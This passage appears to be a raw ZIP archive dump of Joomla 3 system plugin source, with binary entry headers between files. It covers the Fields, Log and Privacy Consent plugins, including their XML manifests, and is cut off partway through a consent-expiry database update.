						if (preg_match('#' . $exclusion . '#i', $this->_cache_key . ' ' . $internal_uri, $match))
						{
							return true;
						}
					}
				}
			}
		}

		// If any pagecache plugins return true for onPageCacheIsExcluded, exclude.
		JPluginHelper::importPlugin('pagecache');

		$results = JEventDispatcher::getInstance()->trigger('onPageCacheIsExcluded');

		return in_array(true, $results, true);
	}
}
PK�(]��W8�2�2system/fields/fields.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Form\Form;
use Joomla\Registry\Registry;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;

JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

/**
 * Fields Plugin
 *
 * @since  3.7
 */
class PlgSystemFields extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Normalizes the request data.
	 *
	 * @param   string  $context  The context
	 * @param   object  $data     The object
	 * @param   Form    $form     The form
	 *
	 * @return  void
	 *
	 * @since   3.8.7
	 */
	public function onContentNormaliseRequestData($context, $data, Form $form)
	{
		if (!FieldsHelper::extract($context, $data))
		{
			return true;
		}

		// Loop over all fields
		foreach ($form->getGroup('com_fields') as $field)
		{
			if ($field->disabled === true)
			{
				/**
				 * Disabled fields should NEVER be added to the request as
				 * they should NEVER be added by the browser anyway so nothing to check against
				 * as "disabled" means no interaction at all.
				 */

				// Make sure the data object has an entry before delete it
				if (isset($data->com_fields[$field->fieldname]))
				{
					unset($data->com_fields[$field->fieldname]);
				}

				continue;
			}

			// Make sure the data object has an entry
			if (isset($data->com_fields[$field->fieldname]))
			{
				continue;
			}

			// Set a default value for the field
			$data->com_fields[$field->fieldname] = false;
		}
	}

	/**
	 * The save event.
	 *
	 * @param   string   $context  The context
	 * @param   JTable   $item     The table
	 * @param   boolean  $isNew    Is new item
	 * @param   array    $data     The validated data
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterSave($context, $item, $isNew, $data = array())
	{
		// Check if data is an array and the item has an id
		if (!is_array($data) || empty($item->id) || empty($data['com_fields']))
		{
			return true;
		}

		// Create correct context for category
		if ($context == 'com_categories.category')
		{
			$context = $item->extension . '.categories';

			// Set the catid on the category to get only the fields which belong to this category
			$item->catid = $item->id;
		}

		// Check the context
		$parts = FieldsHelper::extract($context, $item);

		if (!$parts)
		{
			return true;
		}

		// Compile the right context for the fields
		$context = $parts[0] . '.' . $parts[1];

		// Loading the fields
		$fields = FieldsHelper::getFields($context, $item);

		if (!$fields)
		{
			return true;
		}

		// Loading the model
		$model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' => true));

		// Loop over the fields
		foreach ($fields as $field)
		{
			// Determine the value if it is (un)available from the data
			if (key_exists($field->name, $data['com_fields']))
			{
				$value = $data['com_fields'][$field->name] === false ? null : $data['com_fields'][$field->name];
			}
			// Field not available on form, use stored value
			else
			{
				$value = $field->rawvalue;
			}

			// If no value set (empty) remove value from database
			if (is_array($value) ? !count($value) : !strlen($value))
			{
				$value = null;
			}

			// JSON encode value for complex fields
			if (is_array($value) && (count($value, COUNT_NORMAL) !== count($value, COUNT_RECURSIVE) || !count(array_filter(array_keys($value), 'is_numeric'))))
			{
				$value = json_encode($value);
			}

			// Setting the value for the field and the item
			$model->setFieldValue($field->id, $item->id, $value);
		}

		return true;
	}

	/**
	 * The save event.
	 *
	 * @param   array    $userData  The date
	 * @param   boolean  $isNew     Is new
	 * @param   boolean  $success   Is success
	 * @param   string   $msg       The message
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onUserAfterSave($userData, $isNew, $success, $msg)
	{
		// It is not possible to manipulate the user during save events
		// Check if data is valid or we are in a recursion
		if (!$userData['id'] || !$success)
		{
			return true;
		}

		$user = JFactory::getUser($userData['id']);

		$task = JFactory::getApplication()->input->getCmd('task');

		// Skip fields save when we activate a user, because we will lose the saved data
		if (in_array($task, array('activate', 'block', 'unblock')))
		{
			return true;
		}

		// Trigger the events with a real user
		$this->onContentAfterSave('com_users.user', $user, false, $userData);

		return true;
	}

	/**
	 * The delete event.
	 *
	 * @param   string    $context  The context
	 * @param   stdClass  $item     The item
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterDelete($context, $item)
	{
		$parts = FieldsHelper::extract($context, $item);

		if (!$parts || empty($item->id))
		{
			return true;
		}

		$context = $parts[0] . '.' . $parts[1];

		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_fields/models', 'FieldsModel');

		$model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' => true));
		$model->cleanupValues($context, $item->id);

		return true;
	}

	/**
	 * The user delete event.
	 *
	 * @param   stdClass  $user    The context
	 * @param   boolean   $succes  Is success
	 * @param   string    $msg     The message
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onUserAfterDelete($user, $succes, $msg)
	{
		$item     = new stdClass;
		$item->id = $user['id'];

		return $this->onContentAfterDelete('com_users.user', $item);
	}

	/**
	 * The form event.
	 *
	 * @param   JForm     $form  The form
	 * @param   stdClass  $data  The data
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onContentPrepareForm(JForm $form, $data)
	{
		$context = $form->getName();

		// When a category is edited, the context is com_categories.categorycom_content
		if (strpos($context, 'com_categories.category') === 0)
		{
			$context = str_replace('com_categories.category', '', $context) . '.categories';

			// Set the catid on the category to get only the fields which belong to this category
			if (is_array($data) && key_exists('id', $data))
			{
				$data['catid'] = $data['id'];
			}

			if (is_object($data) && isset($data->id))
			{
				$data->catid = $data->id;
			}
		}

		$parts = FieldsHelper::extract($context, $form);

		if (!$parts)
		{
			return true;
		}

		$input = JFactory::getApplication()->input;

		// If we are on the save command we need the actual data
		$jformData = $input->get('jform', array(), 'array');

		if ($jformData && !$data)
		{
			$data = $jformData;
		}

		if (is_array($data))
		{
			$data = (object) $data;
		}

		FieldsHelper::prepareForm($parts[0] . '.' . $parts[1], $form, $data);

		return true;
	}

	/**
	 * The display event.
	 *
	 * @param   string    $context     The context
	 * @param   stdClass  $item        The item
	 * @param   Registry  $params      The params
	 * @param   integer   $limitstart  The start
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterTitle($context, $item, $params, $limitstart = 0)
	{
		return $this->display($context, $item, $params, 1);
	}

	/**
	 * The display event.
	 *
	 * @param   string    $context     The context
	 * @param   stdClass  $item        The item
	 * @param   Registry  $params      The params
	 * @param   integer   $limitstart  The start
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	public function onContentBeforeDisplay($context, $item, $params, $limitstart = 0)
	{
		return $this->display($context, $item, $params, 2);
	}

	/**
	 * The display event.
	 *
	 * @param   string    $context     The context
	 * @param   stdClass  $item        The item
	 * @param   Registry  $params      The params
	 * @param   integer   $limitstart  The start
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterDisplay($context, $item, $params, $limitstart = 0)
	{
		return $this->display($context, $item, $params, 3);
	}

	/**
	 * Performs the display event.
	 *
	 * @param   string    $context      The context
	 * @param   stdClass  $item         The item
	 * @param   Registry  $params       The params
	 * @param   integer   $displayType  The type
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	private function display($context, $item, $params, $displayType)
	{
		$parts = FieldsHelper::extract($context, $item);

		if (!$parts)
		{
			return '';
		}

		// If we have a category, set the catid field to fetch only the fields which belong to it
		if ($parts[1] == 'categories' && !isset($item->catid))
		{
			$item->catid = $item->id;
		}

		$context = $parts[0] . '.' . $parts[1];

		// Convert tags
		if ($context == 'com_tags.tag' && !empty($item->type_alias))
		{
			// Set the context
			$context = $item->type_alias;

			$item = $this->prepareTagItem($item);
		}

		if (is_string($params) || !$params)
		{
			$params = new Registry($params);
		}

		$fields = FieldsHelper::getFields($context, $item, $displayType);

		if ($fields)
		{
			$app = Factory::getApplication();

			if ($app->isClient('site') && Multilanguage::isEnabled() && isset($item->language) && $item->language == '*')
			{
				$lang = $app->getLanguage()->getTag();

				foreach ($fields as $key => $field)
				{
					if ($field->language == '*' || $field->language == $lang)
					{
						continue;
					}

					unset($fields[$key]);
				}
			}
		}

		if ($fields)
		{
			foreach ($fields as $key => $field)
			{
				$fieldDisplayType = $field->params->get('display', '2');

				if ($fieldDisplayType == $displayType)
				{
					continue;
				}

				unset($fields[$key]);
			}
		}

		if ($fields)
		{
			return FieldsHelper::render(
				$context,
				'fields.render',
				array(
					'item'            => $item,
					'context'         => $context,
					'fields'          => $fields
				)
			);
		}

		return '';
	}

	/**
	 * Performs the display event.
	 *
	 * @param   string    $context  The context
	 * @param   stdClass  $item     The item
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function onContentPrepare($context, $item)
	{
		// Check property exists (avoid costly & useless recreation), if need to recreate them, just unset the property!
		if (isset($item->jcfields))
		{
			return;
		}

		$parts = FieldsHelper::extract($context, $item);

		if (!$parts)
		{
			return;
		}

		$context = $parts[0] . '.' . $parts[1];

		// Convert tags
		if ($context == 'com_tags.tag' && !empty($item->type_alias))
		{
			// Set the context
			$context = $item->type_alias;

			$item = $this->prepareTagItem($item);
		}

		// Get item's fields, also preparing their value property for manual display
		// (calling plugins events and loading layouts to get their HTML display)
		$fields = FieldsHelper::getFields($context, $item, true);

		// Adding the fields to the object
		$item->jcfields = array();

		foreach ($fields as $key => $field)
		{
			$item->jcfields[$field->id] = $field;
		}
	}

	/**
	 * The finder event.
	 *
	 * @param   stdClass  $item  The item
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onPrepareFinderContent($item)
	{
		$section = strtolower($item->layout);
		$tax     = $item->getTaxonomy('Type');

		if ($tax)
		{
			foreach ($tax as $context => $value)
			{
				// This is only a guess, needs to be improved
				$component = strtolower($context);

				if (strpos($context, 'com_') !== 0)
				{
					$component = 'com_' . $component;
				}

				// Transform com_article to com_content
				if ($component === 'com_article')
				{
					$component = 'com_content';
				}

				// Create a dummy object with the required fields
				$tmp     = new stdClass;
				$tmp->id = $item->__get('id');

				if ($item->__get('catid'))
				{
					$tmp->catid = $item->__get('catid');
				}

				// Getting the fields for the constructed context
				$fields = FieldsHelper::getFields($component . '.' . $section, $tmp, true);

				if (is_array($fields))
				{
					foreach ($fields as $field)
					{
						// Adding the instructions how to handle the text
						$item->addInstruction(FinderIndexer::TEXT_CONTEXT, $field->name);

						// Adding the field value as a field
						$item->{$field->name} = $field->value;
					}
				}
			}
		}

		return true;
	}

	/**
	 * Prepares a tag item to be ready for com_fields.
	 *
	 * @param   stdClass  $item  The item
	 *
	 * @return  object
	 *
	 * @since   3.8.4
	 */
	private function prepareTagItem($item)
	{
		// Map core fields
		$item->id       = $item->content_item_id;
		$item->language = $item->core_language;

		// Also handle the catid
		if (!empty($item->core_catid))
		{
			$item->catid = $item->core_catid;
		}

		return $item;
	}
}
PK�(]W���system/fields/fields.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="system" method="upgrade">
	<name>plg_system_fields</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_SYSTEM_FIELDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="fields">fields.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_fields.ini</language>
		<language tag="en-GB">en-GB.plg_system_fields.sys.ini</language>
	</languages>
</extension>
PK�(]�$K��system/log/log.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_log</name>
	<author>Joomla! Project</author>
	<creationDate>April 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_LOG_XML_DESCRIPTION</description>
	<files>
		<filename plugin="log">log.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_log.ini</language>
		<language tag="en-GB">en-GB.plg_system_log.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="log_username"
					type="radio"
					label="PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_LABEL"
					description="PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]~���system/log/log.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.log
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! System Logging Plugin.
 *
 * @since  1.5
 */
class PlgSystemLog extends JPlugin
{
	/**
	 * Called if user fails to be logged in.
	 *
	 * @param   array  $response  Array of response data.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onUserLoginFailure($response)
	{
		$errorlog = array();

		switch ($response['status'])
		{
			case JAuthentication::STATUS_SUCCESS:
				$errorlog['status']  = $response['type'] . ' CANCELED: ';
				$errorlog['comment'] = $response['error_message'];
				break;

			case JAuthentication::STATUS_FAILURE:
				$errorlog['status']  = $response['type'] . ' FAILURE: ';

				if ($this->params->get('log_username', 0))
				{
					$errorlog['comment'] = $response['error_message'] . ' ("' . $response['username'] . '")';
				}
				else
				{
					$errorlog['comment'] = $response['error_message'];
				}
				break;

			default:
				$errorlog['status']  = $response['type'] . ' UNKNOWN ERROR: ';
				$errorlog['comment'] = $response['error_message'];
				break;
		}

		JLog::addLogger(array(), JLog::INFO);

		try
		{
			JLog::add($errorlog['comment'], JLog::INFO, $errorlog['status']);
		}
		catch (Exception $e)
		{
			// If the log file is unwriteable during login then we should not go to the error page
			return;
		}
	}
}
PK�(]�h=::7system/privacyconsent/privacyconsent/privacyconsent.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="privacyconsent">
		<fieldset
			name="privacyconsent"
			label="PLG_SYSTEM_PRIVACYCONSENT_LABEL"
		>
			<field
				name="privacy"
				type="privacy"
				label="PLG_SYSTEM_PRIVACYCONSENT_FIELD_LABEL"
				description="PLG_SYSTEM_PRIVACYCONSENT_FIELD_DESC"
				default="0"
				filter="integer"
				required="true"
				>
				<option value="1">PLG_SYSTEM_PRIVACYCONSENT_OPTION_AGREE</option>
				<option value="0">PLG_SYSTEM_PRIVACYCONSENT_OPTION_DO_NOT_AGREE</option>
			</field>
		</fieldset>
	</fields>
</form>
PK�(]�UqGJ
J
(system/privacyconsent/privacyconsent.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="system" method="upgrade">
	<name>plg_system_privacyconsent</name>
	<author>Joomla! Project</author>
	<creationDate>April 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_SYSTEM_PRIVACYCONSENT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="privacyconsent">privacyconsent.php</filename>
		<folder>privacyconsent</folder>
		<folder>field</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_privacyconsent.ini</language>
		<language tag="en-GB">en-GB.plg_system_privacyconsent.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldpath="/administrator/components/com_content/models/fields">
				<field
					name="privacy_note"
					type="textarea"
					label="PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_DESC"
					hint="PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_DEFAULT"
					class="span12"
					rows="7"
					cols="20"
					filter="html"
				/>
				<field
					name="privacy_article"
					type="modal_article"
					label="PLG_SYSTEM_PRIVACYCONSENT_FIELD_ARTICLE_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_FIELD_ARTICLE_DESC"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
				/>
				<field
					name="messageOnRedirect"
					type="textarea"
					label="PLG_SYSTEM_PRIVACYCONSENT_REDIRECT_MESSAGE_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_REDIRECT_MESSAGE_DESC"
					hint="PLG_SYSTEM_PRIVACYCONSENT_REDIRECT_MESSAGE_DEFAULT"
					class="span12"
					rows="7"
					cols="20"
					filter="html"
				/>
			</fieldset>
			<fieldset
				name="expiration"
				label="PLG_SYSTEM_PRIVACYCONSENT_EXPIRATION_FIELDSET_LABEL"
			>
				<field
					name="enabled"
					type="radio"
					label="PLG_SYSTEM_PRIVACYCONSENT_FIELD_ENABLED_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_FIELD_ENABLED_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
				<field
					name="cachetimeout"
					type="integer"
					label="PLG_SYSTEM_PRIVACYCONSENT_CACHETIMEOUT_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_CACHETIMEOUT_DESC"
					first="0"
					last="120"
					step="1"
					default="30"
					filter="int"
					validate="number"
				/>
				<field
					name="consentexpiration"
					type="integer"
					label="PLG_SYSTEM_PRIVACYCONSENT_CONSENTEXPIRATION_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_CONSENTEXPIRATION_DESC"
					first="180"
					last="720"
					step="30"
					default="360"
					filter="int"
					validate="number"
				/>
				<field
					name="remind"
					type="integer"
					label="PLG_SYSTEM_PRIVACYCONSENT_REMINDBEFORE_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_REMINDBEFORE_DESC"
					first="0"
					last="120"
					step="1"
					default="30"
					filter="int"
					validate="number"
				/>
				<field
					name="lastrun"
					type="hidden"
					default="0"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]1���MM(system/privacyconsent/privacyconsent.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.privacyconsent
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Utilities\ArrayHelper;

/**
 * An example custom privacyconsent plugin.
 *
 * @since  3.9.0
 */
class PlgSystemPrivacyconsent extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * Constructor
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An array that holds the plugin configuration
	 *
	 * @since   3.9.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		JFormHelper::addFieldPath(__DIR__ . '/field');
	}

	/**
	 * Adds additional fields to the user editing form
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareForm($form, $data)
	{
		if (!($form instanceof JForm))
		{
			$this->_subject->setError('JERROR_NOT_A_FORM');

			return false;
		}

		// Check we are manipulating a valid form - we only display this on user registration form and user profile form.
		$name = $form->getName();

		if (!in_array($name, array('com_users.profile', 'com_users.registration')))
		{
			return true;
		}

		// We only display this if user has not consented before
		if (is_object($data))
		{
			$userId = isset($data->id) ? $data->id : 0;

			if ($userId > 0 && $this->isUserConsented($userId))
			{
				return true;
			}
		}

		// Add the privacy policy fields to the form.
		JForm::addFormPath(__DIR__ . '/privacyconsent');
		$form->loadFile('privacyconsent');

		$privacyArticleId = $this->getPrivacyArticleId();
		$privacynote      = $this->params->get('privacy_note');

		// Push the privacy article ID into the privacy field.
		$form->setFieldAttribute('privacy', 'article', $privacyArticleId, 'privacyconsent');
		$form->setFieldAttribute('privacy', 'note', $privacynote, 'privacyconsent');
	}

	/**
	 * Method is called before user data is stored in the database
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isNew  True if a new user is stored.
	 * @param   array    $data   Holds the new user data.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 * @throws  InvalidArgumentException on missing required data.
	 */
	public function onUserBeforeSave($user, $isNew, $data)
	{
		// // Only check for front-end user creation/update profile
		if ($this->app->isClient('administrator'))
		{
			return true;
		}

		$userId = ArrayHelper::getValue($user, 'id', 0, 'int');

		// User already consented before, no need to check it further
		if ($userId > 0 && $this->isUserConsented($userId))
		{
			return true;
		}

		// Check that the privacy is checked if required ie only in registration from frontend.
		$option = $this->app->input->getCmd('option');
		$task   = $this->app->input->get->getCmd('task');
		$form   = $this->app->input->post->get('jform', array(), 'array');

		if ($option == 'com_users' && in_array($task, array('registration.register', 'profile.save'))
			&& empty($form['privacyconsent']['privacy']))
		{
			throw new InvalidArgumentException(Text::_('PLG_SYSTEM_PRIVACYCONSENT_FIELD_ERROR'));
		}

		return true;
	}

	/**
	 * Saves user privacy confirmation
	 *
	 * @param   array    $data    entered user data
	 * @param   boolean  $isNew   true if this is a new user
	 * @param   boolean  $result  true if saving the user worked
	 * @param   string   $error   error message
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($data, $isNew, $result, $error)
	{
		// Only create an entry on front-end user creation/update profile
		if ($this->app->isClient('administrator'))
		{
			return true;
		}

		// Get the user's ID
		$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

		// If user already consented before, no need to check it further
		if ($userId > 0 && $this->isUserConsented($userId))
		{
			return true;
		}

		$option = $this->app->input->getCmd('option');
		$task   = $this->app->input->get->getCmd('task');
		$form   = $this->app->input->post->get('jform', array(), 'array');

		if ($option == 'com_users'
			&&in_array($task, array('registration.register', 'profile.save'))
			&& !empty($form['privacyconsent']['privacy']))
		{
			$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

			// Get the user's IP address
			$ip = $this->app->input->server->get('REMOTE_ADDR', '', 'string');

			// Get the user agent string
			$userAgent = $this->app->input->server->get('HTTP_USER_AGENT', '', 'string');

			// Create the user note
			$userNote = (object) array(
				'user_id' => $userId,
				'subject' => 'PLG_SYSTEM_PRIVACYCONSENT_SUBJECT',
				'body'    => Text::sprintf('PLG_SYSTEM_PRIVACYCONSENT_BODY', $ip, $userAgent),
				'created' => Factory::getDate()->toSql(),
			);

			try
			{
				$this->db->insertObject('#__privacy_consents', $userNote);
			}
			catch (Exception $e)
			{
				// Do nothing if the save fails
			}

			$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

			$message = array(
				'action'      => 'consent',
				'id'          => $userId,
				'title'       => $data['name'],
				'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $userId,
				'userid'      => $userId,
				'username'    => $data['username'],
				'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $userId,
			);

			JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_actionlogs/models', 'ActionlogsModel');

			/* @var ActionlogsModelActionlog $model */
			$model = JModelLegacy::getInstance('Actionlog', 'ActionlogsModel');
			$model->addLog(array($message), 'PLG_SYSTEM_PRIVACYCONSENT_CONSENT', 'plg_system_privacyconsent', $userId);
		}

		return true;
	}

	/**
	 * Remove all user privacy consent information for the given user ID
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		if (!$success)
		{
			return false;
		}

		$userId = ArrayHelper::getValue($user, 'id', 0, 'int');

		if ($userId)
		{
			// Remove user's consent
			try
			{
				$query = $this->db->getQuery(true)
					->delete($this->db->quoteName('#__privacy_consents'))
					->where($this->db->quoteName('user_id') . ' = ' . (int) $userId);
				$this->db->setQuery($query);
				$this->db->execute();
			}
			catch (Exception $e)
			{
				$this->_subject->setError($e->getMessage());

				return false;
			}
		}

		return true;
	}

	/**
	 * If logged in users haven't agreed to privacy consent, redirect them to profile edit page, ask them to agree to
	 * privacy consent before allowing access to any other pages
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onAfterRoute()
	{
		// Run this in frontend only
		if ($this->app->isClient('administrator'))
		{
			return;
		}

		$userId = Factory::getUser()->id;

		// Check to see whether user already consented, if not, redirect to user profile page
		if ($userId > 0)
		{
			// If user consented before, no need to check it further
			if ($this->isUserConsented($userId))
			{
				return;
			}

			$option = $this->app->input->getCmd('option');
			$task   = $this->app->input->get('task');
			$view   = $this->app->input->getString('view', '');
			$layout = $this->app->input->getString('layout', '');
			$id     = $this->app->input->getInt('id');

			$privacyArticleId = $this->getPrivacyArticleId();

			/*
			 * If user is already on edit profile screen or view privacy article
			 * or press update/apply button, or logout, do nothing to avoid infinite redirect
			 */
			if ($option == 'com_users' && in_array($task, array('profile.save', 'profile.apply', 'user.logout', 'user.menulogout'))
				|| ($option == 'com_content' && $view == 'article' && $id == $privacyArticleId)
				|| ($option == 'com_users' && $view == 'profile' && $layout == 'edit'))
			{
				return;
			}

			// Redirect to com_users profile edit
			$this->app->enqueueMessage($this->getRedirectMessage(), 'notice');
			$link = 'index.php?option=com_users&view=profile&layout=edit';
			$this->app->redirect(\JRoute::_($link, false));
		}
	}

	/**
	 * Event to specify whether a privacy policy has been published.
	 *
	 * @param   array  &$policy  The privacy policy status data, passed by reference, with keys "published", "editLink" and "articlePublished".
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCheckPrivacyPolicyPublished(&$policy)
	{
		// If another plugin has already indicated a policy is published, we won't change anything here
		if ($policy['published'])
		{
			return;
		}

		$articleId = $this->params->get('privacy_article');

		if (!$articleId)
		{
			return;
		}

		// Check if the article exists in database and is published
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('id', 'state')))
			->from($this->db->quoteName('#__content'))
			->where($this->db->quoteName('id') . ' = ' . (int) $articleId);
		$this->db->setQuery($query);

		$article = $this->db->loadObject();

		// Check if the article exists
		if (!$article)
		{
			return;
		}

		// Check if the article is published
		if ($article->state == 1)
		{
			$policy['articlePublished'] = true;
		}

		$policy['published'] = true;
		$policy['editLink']  = JRoute::_('index.php?option=com_content&task=article.edit&id=' . $articleId);
	}

	/**
	 * Returns the configured redirect message and falls back to the default version.
	 *
	 * @return  string  redirect message
	 *
	 * @since   3.9.0
	 */
	private function getRedirectMessage()
	{
		$messageOnRedirect = trim($this->params->get('messageOnRedirect', ''));

		if (empty($messageOnRedirect))
		{
			return Text::_('PLG_SYSTEM_PRIVACYCONSENT_REDIRECT_MESSAGE_DEFAULT');
		}

		return $messageOnRedirect;
	}

	/**
	 * Method to check if the given user has consented yet
	 *
	 * @param   integer  $userId  ID of uer to check
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	private function isUserConsented($userId)
	{
		$query = $this->db->getQuery(true);
		$query->select('COUNT(*)')
			->from('#__privacy_consents')
			->where('user_id = ' . (int) $userId)
			->where('subject = ' . $this->db->quote('PLG_SYSTEM_PRIVACYCONSENT_SUBJECT'))
			->where('state = 1');
		$this->db->setQuery($query);

		return (int) $this->db->loadResult() > 0;
	}

	/**
	 * Get privacy article ID. If the site is a multilingual website and there is associated article for the
	 * current language, ID of the associated article will be returned
	 *
	 * @return  integer
	 *
	 * @since   3.9.0
	 */
	private function getPrivacyArticleId()
	{
		$privacyArticleId = $this->params->get('privacy_article');

		if ($privacyArticleId > 0 && JLanguageAssociations::isEnabled())
		{
			$privacyAssociated = JLanguageAssociations::getAssociations('com_content', '#__content', 'com_content.item', $privacyArticleId);
			$currentLang = JFactory::getLanguage()->getTag();

			if (isset($privacyAssociated[$currentLang]))
			{
				$privacyArticleId = $privacyAssociated[$currentLang]->id;
			}
		}

		return $privacyArticleId;
	}

	/**
	 * The privacy consent expiration check code is triggered after the page has fully rendered.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onAfterRender()
	{
		if (!$this->params->get('enabled', 0))
		{
			return;
		}

		$cacheTimeout = (int) $this->params->get('cachetimeout', 30);
		$cacheTimeout = 24 * 3600 * $cacheTimeout;

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if ((abs($now - $last) < $cacheTimeout))
		{
			return;
		}

		// Update last run status
		$this->params->set('lastrun', $now);
		$db    = $this->db;
		$query = $db->getQuery(true)
			->update($db->quoteName('#__extensions'))
